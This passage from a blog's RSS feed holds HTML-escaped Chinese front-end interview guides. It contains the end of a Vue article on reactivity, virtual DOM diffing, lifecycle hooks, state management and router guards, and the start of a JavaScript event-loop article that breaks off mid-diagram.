&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;类型&lt;/td&gt;
&lt;td&gt;任意类型&lt;/td&gt;
&lt;td&gt;对象/数组&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;访问方式&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.value&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;直接访问&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实现原理&lt;/td&gt;
&lt;td&gt;getter/setter 包装&lt;/td&gt;
&lt;td&gt;Proxy 代理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模板中使用&lt;/td&gt;
&lt;td&gt;自动解包&lt;/td&gt;
&lt;td&gt;直接使用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;import { ref, reactive } from &apos;vue&apos;;

// ref
const count = ref(0);
count.value++; // 需要 .value
console.log(count.value); // 0

// reactive
const state = reactive({ count: 0 });
state.count++; // 直接访问
console.log(state.count); // 1

// 模板中使用（ref 自动解包）
// &amp;lt;div&amp;gt;{{ count }}&amp;lt;/div&amp;gt;  不需要 .value

// reactive 的陷阱
const state = reactive({ list: [] });
state.list = [1, 2, 3];     // ✅ 可以
const { list } = state;      // ❌ 解构后失去响应式

// 解决：toRefs
import { toRefs } from &apos;vue&apos;;
const { list } = toRefs(state); // ✅ 保持响应式
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;虚拟 DOM 与 Diff&lt;/h2&gt;
&lt;h3&gt;Q6: 什么是虚拟 DOM？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;虚拟 DOM 是用 JavaScript 对象描述真实 DOM 的结构。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 真实 DOM
&amp;lt;div id=&quot;app&quot; class=&quot;container&quot;&amp;gt;
  &amp;lt;h1&amp;gt;Hello&amp;lt;/h1&amp;gt;
  &amp;lt;p&amp;gt;World&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;

// 虚拟 DOM
const vnode = {
  tag: &apos;div&apos;,
  props: { id: &apos;app&apos;, class: &apos;container&apos; },
  children: [
    { tag: &apos;h1&apos;, props: null, children: &apos;Hello&apos; },
    { tag: &apos;p&apos;, props: null, children: &apos;World&apos; }
  ]
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;虚拟 DOM 的优势：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;性能优化&lt;/strong&gt;：批量操作，减少真实 DOM 操作&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨平台&lt;/strong&gt;：可渲染到 DOM、Canvas、Native&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;声明式编程&lt;/strong&gt;：状态驱动视图&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;虚拟 DOM 不一定比直接操作 DOM 快&lt;/strong&gt;，但提供了更好的开发体验和可维护性。&lt;/p&gt;
&lt;h3&gt;Q7: Vue 的 Diff 算法？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vue 采用&lt;strong&gt;双端对比&lt;/strong&gt;策略（Vue2）和&lt;strong&gt;最长递增子序列&lt;/strong&gt;（Vue3）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vue2 双端 Diff：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;旧头 &amp;lt;---&amp;gt; 新头
旧尾 &amp;lt;---&amp;gt; 新尾
旧头 &amp;lt;---&amp;gt; 新尾
旧尾 &amp;lt;---&amp;gt; 新头
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 简化流程
function patch(oldVnode, newVnode) {
  // 1. 同层比较，不同层直接替换
  if (oldVnode.tag !== newVnode.tag) {
    replaceNode(oldVnode, newVnode);
    return;
  }
  
  // 2. 文本节点直接更新
  if (!newVnode.tag) {
    if (oldVnode.text !== newVnode.text) {
      oldVnode.elm.textContent = newVnode.text;
    }
    return;
  }
  
  // 3. 子节点 Diff
  diffChildren(oldVnode.children, newVnode.children);
}

function diffChildren(oldCh, newCh) {
  let oldStartIdx = 0, oldEndIdx = oldCh.length - 1;
  let newStartIdx = 0, newEndIdx = newCh.length - 1;
  
  while (oldStartIdx &amp;lt;= oldEndIdx &amp;amp;&amp;amp; newStartIdx &amp;lt;= newEndIdx) {
    // 四种比较方式
    if (sameVnode(oldCh[oldStartIdx], newCh[newStartIdx])) {
      patch(oldCh[oldStartIdx++], newCh[newStartIdx++]);
    } else if (sameVnode(oldCh[oldEndIdx], newCh[newEndIdx])) {
      patch(oldCh[oldEndIdx--], newCh[newEndIdx--]);
    } else if (sameVnode(oldCh[oldStartIdx], newCh[newEndIdx])) {
      patch(oldCh[oldStartIdx++], newCh[newEndIdx--]);
    } else if (sameVnode(oldCh[oldEndIdx], newCh[newStartIdx])) {
      patch(oldCh[oldEndIdx--], newCh[newStartIdx++]);
    } else {
      // 使用 key 查找
      const idxInOld = findIdxInOld(oldCh, newCh[newStartIdx]);
      if (idxInOld === -1) {
        // 新节点，插入
        insertBefore(oldCh[oldStartIdx].elm, newCh[newStartIdx]);
      } else {
        // 移动节点
        moveNode(oldCh[idxInOld], newCh[newStartIdx]);
      }
      newStartIdx++;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;key 的作用：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- ❌ 不使用 key，可能导致就地复用 --&amp;gt;
&amp;lt;li v-for=&quot;item in list&quot;&amp;gt;{{ item.name }}&amp;lt;/li&amp;gt;

&amp;lt;!-- ✅ 使用唯一 key，提高 Diff 效率 --&amp;gt;
&amp;lt;li v-for=&quot;item in list&quot; :key=&quot;item.id&quot;&amp;gt;{{ item.name }}&amp;lt;/li&amp;gt;

&amp;lt;!-- ❌ 使用 index 作为 key（列表会变化时） --&amp;gt;
&amp;lt;li v-for=&quot;(item, index) in list&quot; :key=&quot;index&quot;&amp;gt;{{ item.name }}&amp;lt;/li&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;生命周期&lt;/h2&gt;
&lt;h3&gt;Q8: Vue 生命周期有哪些？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vue2 生命周期：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;beforeCreate -&amp;gt; created -&amp;gt; beforeMount -&amp;gt; mounted
      |            |            |            |
   实例初始化    数据观测完成   模板编译完成   DOM 挂载完成
      |
      v
beforeUpdate -&amp;gt; updated -&amp;gt; beforeDestroy -&amp;gt; destroyed
      |            |            |              |
   数据更新前    数据更新后    组件销毁前     组件销毁后
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Vue3 生命周期（Composition API）：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vue2&lt;/th&gt;
&lt;th&gt;Vue3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;beforeCreate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setup()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;created&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setup()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;beforeMount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;onBeforeMount&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mounted&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;onMounted&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;beforeUpdate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;onBeforeUpdate&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;updated&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;onUpdated&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;beforeDestroy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;onBeforeUnmount&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;destroyed&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;onUnmounted&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;import { onMounted, onUpdated, onUnmounted } from &apos;vue&apos;;

export default {
  setup() {
    // 相当于 beforeCreate / created
    
    onMounted(() =&amp;gt; {
      console.log(&apos;DOM 已挂载&apos;);
    });
    
    onUpdated(() =&amp;gt; {
      console.log(&apos;组件已更新&apos;);
    });
    
    onUnmounted(() =&amp;gt; {
      console.log(&apos;组件已卸载&apos;);
      // 清理定时器、事件监听等
    });
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: 父子组件生命周期执行顺序？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 加载渲染过程
父 beforeCreate -&amp;gt; 父 created -&amp;gt; 父 beforeMount
  -&amp;gt; 子 beforeCreate -&amp;gt; 子 created -&amp;gt; 子 beforeMount -&amp;gt; 子 mounted
-&amp;gt; 父 mounted

// 更新过程
父 beforeUpdate -&amp;gt; 子 beforeUpdate -&amp;gt; 子 updated -&amp;gt; 父 updated

// 销毁过程
父 beforeDestroy -&amp;gt; 子 beforeDestroy -&amp;gt; 子 destroyed -&amp;gt; 父 destroyed
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;组件通信&lt;/h2&gt;
&lt;h3&gt;Q10: Vue 组件通信方式有哪些？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;props&lt;/code&gt; / &lt;code&gt;$emit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;父子组件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;v-model&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;表单组件双向绑定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ref&lt;/code&gt; / &lt;code&gt;$refs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;父调子方法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;provide&lt;/code&gt; / &lt;code&gt;inject&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;跨层级传递&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$parent&lt;/code&gt; / &lt;code&gt;$children&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;直接访问&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$attrs&lt;/code&gt; / &lt;code&gt;$listeners&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;属性透传&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;EventBus&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任意组件（Vue2）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Vuex&lt;/code&gt; / &lt;code&gt;Pinia&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;全局状态管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mitt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任意组件（Vue3）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 1. props / emit（父子）
// 父组件
&amp;lt;Child :data=&quot;parentData&quot; @update=&quot;handleUpdate&quot; /&amp;gt;
// 子组件
props: [&apos;data&apos;],
emits: [&apos;update&apos;],
this.$emit(&apos;update&apos;, newValue);

// 2. v-model
// 父组件
&amp;lt;Child v-model=&quot;value&quot; /&amp;gt;
// 子组件（Vue3）
props: [&apos;modelValue&apos;],
emits: [&apos;update:modelValue&apos;],
this.$emit(&apos;update:modelValue&apos;, newValue);

// 3. provide / inject（跨层级）
// 祖先组件
provide: {
  theme: &apos;dark&apos;
}
// 后代组件
inject: [&apos;theme&apos;]

// 4. EventBus（Vue2）
// bus.js
export const bus = new Vue();
// 发送
bus.$emit(&apos;event-name&apos;, data);
// 接收
bus.$on(&apos;event-name&apos;, callback);

// 5. mitt（Vue3）
import mitt from &apos;mitt&apos;;
const emitter = mitt();
emitter.emit(&apos;event&apos;, data);
emitter.on(&apos;event&apos;, callback);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;状态管理&lt;/h2&gt;
&lt;h3&gt;Q11: Vuex 和 Pinia 的区别？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Vuex&lt;/th&gt;
&lt;th&gt;Pinia&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript&lt;/td&gt;
&lt;td&gt;支持一般&lt;/td&gt;
&lt;td&gt;完美支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mutations&lt;/td&gt;
&lt;td&gt;需要&lt;/td&gt;
&lt;td&gt;不需要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;模块化&lt;/td&gt;
&lt;td&gt;modules&lt;/td&gt;
&lt;td&gt;多个 store&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;体积&lt;/td&gt;
&lt;td&gt;~10KB&lt;/td&gt;
&lt;td&gt;~1KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vue3&lt;/td&gt;
&lt;td&gt;需 4.x&lt;/td&gt;
&lt;td&gt;原生支持&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DevTools&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;td&gt;支持&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// Vuex
const store = createStore({
  state: { count: 0 },
  mutations: {
    increment(state) { state.count++; }
  },
  actions: {
    asyncIncrement({ commit }) {
      setTimeout(() =&amp;gt; commit(&apos;increment&apos;), 100);
    }
  },
  getters: {
    double: state =&amp;gt; state.count * 2
  }
});

// Pinia
import { defineStore } from &apos;pinia&apos;;

export const useCounterStore = defineStore(&apos;counter&apos;, {
  state: () =&amp;gt; ({ count: 0 }),
  getters: {
    double: state =&amp;gt; state.count * 2
  },
  actions: {
    increment() { this.count++; },
    asyncIncrement() {
      setTimeout(() =&amp;gt; this.increment(), 100);
    }
  }
});

// 使用
const counter = useCounterStore();
counter.increment();
console.log(counter.double);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;性能优化&lt;/h2&gt;
&lt;h3&gt;Q12: Vue 性能优化手段？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. v-if vs v-show
// v-if：真正销毁/创建，适合不频繁切换
// v-show：display: none，适合频繁切换
&amp;lt;div v-if=&quot;condition&quot;&amp;gt;很少切换&amp;lt;/div&amp;gt;
&amp;lt;div v-show=&quot;condition&quot;&amp;gt;频繁切换&amp;lt;/div&amp;gt;

// 2. v-for 和 v-if 不要同时使用
// ❌ 
&amp;lt;li v-for=&quot;item in list&quot; v-if=&quot;item.active&quot; :key=&quot;item.id&quot;&amp;gt;

// ✅ 使用 computed 过滤
computed: {
  activeList() {
    return this.list.filter(item =&amp;gt; item.active);
  }
}
&amp;lt;li v-for=&quot;item in activeList&quot; :key=&quot;item.id&quot;&amp;gt;

// 3. 列表使用 key
&amp;lt;li v-for=&quot;item in list&quot; :key=&quot;item.id&quot;&amp;gt;{{ item.name }}&amp;lt;/li&amp;gt;

// 4. 路由懒加载
const routes = [
  {
    path: &apos;/user&apos;,
    component: () =&amp;gt; import(&apos;./views/User.vue&apos;)
  }
];

// 5. 异步组件
const AsyncComponent = defineAsyncComponent(() =&amp;gt;
  import(&apos;./components/Heavy.vue&apos;)
);

// 6. Keep-alive 缓存
&amp;lt;keep-alive :include=&quot;[&apos;UserList&apos;, &apos;ArticleList&apos;]&quot;&amp;gt;
  &amp;lt;router-view /&amp;gt;
&amp;lt;/keep-alive&amp;gt;

// 7. 事件销毁
mounted() {
  window.addEventListener(&apos;resize&apos;, this.handleResize);
},
beforeUnmount() {
  window.removeEventListener(&apos;resize&apos;, this.handleResize);
}

// 8. 图片懒加载
&amp;lt;img v-lazy=&quot;imageUrl&quot; /&amp;gt;

// 9. 虚拟滚动（长列表）
&amp;lt;RecycleScroller
  :items=&quot;items&quot;
  :item-size=&quot;50&quot;
&amp;gt;
  &amp;lt;template #default=&quot;{ item }&quot;&amp;gt;
    &amp;lt;div&amp;gt;{{ item.name }}&amp;lt;/div&amp;gt;
  &amp;lt;/template&amp;gt;
&amp;lt;/RecycleScroller&amp;gt;

// 10. 防抖节流
// 搜索框防抖
methods: {
  handleSearch: debounce(function(query) {
    this.fetchResults(query);
  }, 300)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Vue Router&lt;/h2&gt;
&lt;h3&gt;Q13: Vue Router 的导航守卫？⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 全局守卫
router.beforeEach((to, from, next) =&amp;gt; {
  // 每次路由跳转前执行
  if (to.meta.requiresAuth &amp;amp;&amp;amp; !isAuthenticated()) {
    next(&apos;/login&apos;);
  } else {
    next();
  }
});

router.afterEach((to, from) =&amp;gt; {
  // 跳转完成后执行（不能改变导航）
  document.title = to.meta.title;
});

// 路由独享守卫
const routes = [
  {
    path: &apos;/admin&apos;,
    component: Admin,
    beforeEnter: (to, from, next) =&amp;gt; {
      // 进入该路由前执行
      next();
    }
  }
];

// 组件内守卫
export default {
  beforeRouteEnter(to, from, next) {
    // 进入组件前，无法访问 this
    next(vm =&amp;gt; {
      // 通过 vm 访问组件实例
    });
  },
  beforeRouteUpdate(to, from, next) {
    // 路由参数变化时（如 /user/1 -&amp;gt; /user/2）
    next();
  },
  beforeRouteLeave(to, from, next) {
    // 离开组件前
    if (this.hasUnsavedChanges) {
      if (!confirm(&apos;确定离开？&apos;)) {
        next(false);
        return;
      }
    }
    next();
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;知识点&lt;/th&gt;
&lt;th&gt;关键记忆&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vue2 响应式&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.defineProperty&lt;/code&gt;，无法监听新增/删除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vue3 响应式&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Proxy&lt;/code&gt;，惰性代理，支持 Map/Set&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ref vs reactive&lt;/td&gt;
&lt;td&gt;ref 需 &lt;code&gt;.value&lt;/code&gt;，reactive 直接访问&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;虚拟 DOM&lt;/td&gt;
&lt;td&gt;JS 对象描述 DOM，批量更新&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Diff 算法&lt;/td&gt;
&lt;td&gt;双端对比 + key 优化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;生命周期&lt;/td&gt;
&lt;td&gt;父 beforeCreate -&amp;gt; 子 mounted -&amp;gt; 父 mounted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;组件通信&lt;/td&gt;
&lt;td&gt;props/emit、v-model、provide/inject、Pinia&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能优化&lt;/td&gt;
&lt;td&gt;v-if/v-show、key、懒加载、keep-alive&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-05-react/&quot;&gt;React 框架面试题&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涵盖 React Fiber、Hooks、JSX、状态管理、性能优化等核心知识点。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>JS 异步与事件循环面试题（中高级）</title><link>http://117.72.32.87/blog/posts/interview-guide-03-javascript-async/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-03-javascript-async/</guid><description>深入讲解 Event Loop、宏任务微任务、Promise、async/await、Generator 等异步编程核心面试题。</description><pubDate>Tue, 15 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道 JS 异步编程面试题，难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;事件循环 (Event Loop)&lt;/h2&gt;
&lt;h3&gt;Q1: 什么是 Event Loop？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Event Loop 是 JavaScript 的执行机制，用于协调单线程与异步操作的关系。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────┐
│           执行栈 (Call Stack)        │
└───────────────────┬─────────────────┘
                    │
                    ▼
┌─────────────────────────────────────┐
│      微任务队列 (Microtask Queue)    │
│  Promise.then/catch/finally        │
│  MutationObserver                  │
│  queueMicrotask()                  │
└───────────────────┬─────────────────┘
                    │ 微任务清空后
                    ▼
┌─────────────────────────────────────┐
│      宏任务队列 (Macrotask Queue)    │
│  setTimeout/setInterval            │
│  setImmediate (Node)               │
│  I/O、UI 渲染                       │
│  requestAnimationFrame             │
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;执行顺序：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行同步代码（调用栈）&lt;/li&gt;
&lt;li&gt;清空微任务队列&lt;/li&gt;
&lt;li&gt;执行一个宏任务&lt;/li&gt;
&lt;li&gt;重复步骤 2-3&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Q2: 宏任务和微任务有哪些？⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;任务&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;微任务&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Promise.then/catch/finally&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MutationObserver&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;queueMicrotask()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;process.nextTick&lt;/code&gt; (Node，优先级更高)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;宏任务&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setTimeout&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setInterval&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;setImmediate&lt;/code&gt; (Node)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;I/O 操作&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;UI 渲染&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;MessageChannel&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;postMessage&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;1&apos;); // 同步

setTimeout(() =&amp;gt; {
  console.log(&apos;2&apos;); // 宏任务
}, 0);

Promise.resolve().then(() =&amp;gt; {
  console.log(&apos;3&apos;); // 微任务
});

console.log(&apos;4&apos;); // 同步

// 输出：1 4 3 2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 经典 Event Loop 输出题 ⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 题目 1
console.log(&apos;script start&apos;);

setTimeout(function() {
  console.log(&apos;setTimeout&apos;);
}, 0);

new Promise(function(resolve) {
  console.log(&apos;promise executor&apos;); // 同步执行
  resolve();
}).then(function() {
  console.log(&apos;promise then&apos;);
});

console.log(&apos;script end&apos;);

// 输出顺序：
// script start
// promise executor
// script end
// promise then
// setTimeout
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 题目 2：嵌套 Promise
Promise.resolve().then(() =&amp;gt; {
  console.log(&apos;then1&apos;);
  Promise.resolve().then(() =&amp;gt; {
    console.log(&apos;then1-1&apos;);
  });
}).then(() =&amp;gt; {
  console.log(&apos;then2&apos;);
});

// 输出：then1 -&amp;gt; then1-1 -&amp;gt; then2
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 题目 3：async/await 与 Promise
async function async1() {
  console.log(&apos;async1 start&apos;);
  await async2();
  console.log(&apos;async1 end&apos;);
}

async function async2() {
  console.log(&apos;async2&apos;);
}

console.log(&apos;script start&apos;);

setTimeout(function() {
  console.log(&apos;setTimeout&apos;);
}, 0);

async1();

new Promise(function(resolve) {
  console.log(&apos;promise1&apos;);
  resolve();
}).then(function() {
  console.log(&apos;promise2&apos;);
});

console.log(&apos;script end&apos;);

// 输出：
// script start
// async1 start
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: Node.js 的 Event Loop 和浏览器有什么不同？⭐⭐⭐&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Node.js 的 Event Loop 分为 6 个阶段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   ┌───────────────────────────┐
┌─&amp;gt;│           timers          │  setTimeout/setInterval
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │     pending callbacks     │  系统操作回调
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │       idle, prepare       │  内部使用
│  └─────────────┬─────────────┘
│  ┌─────────────┴─────────────┐
│  │           poll            │  I/O 回调
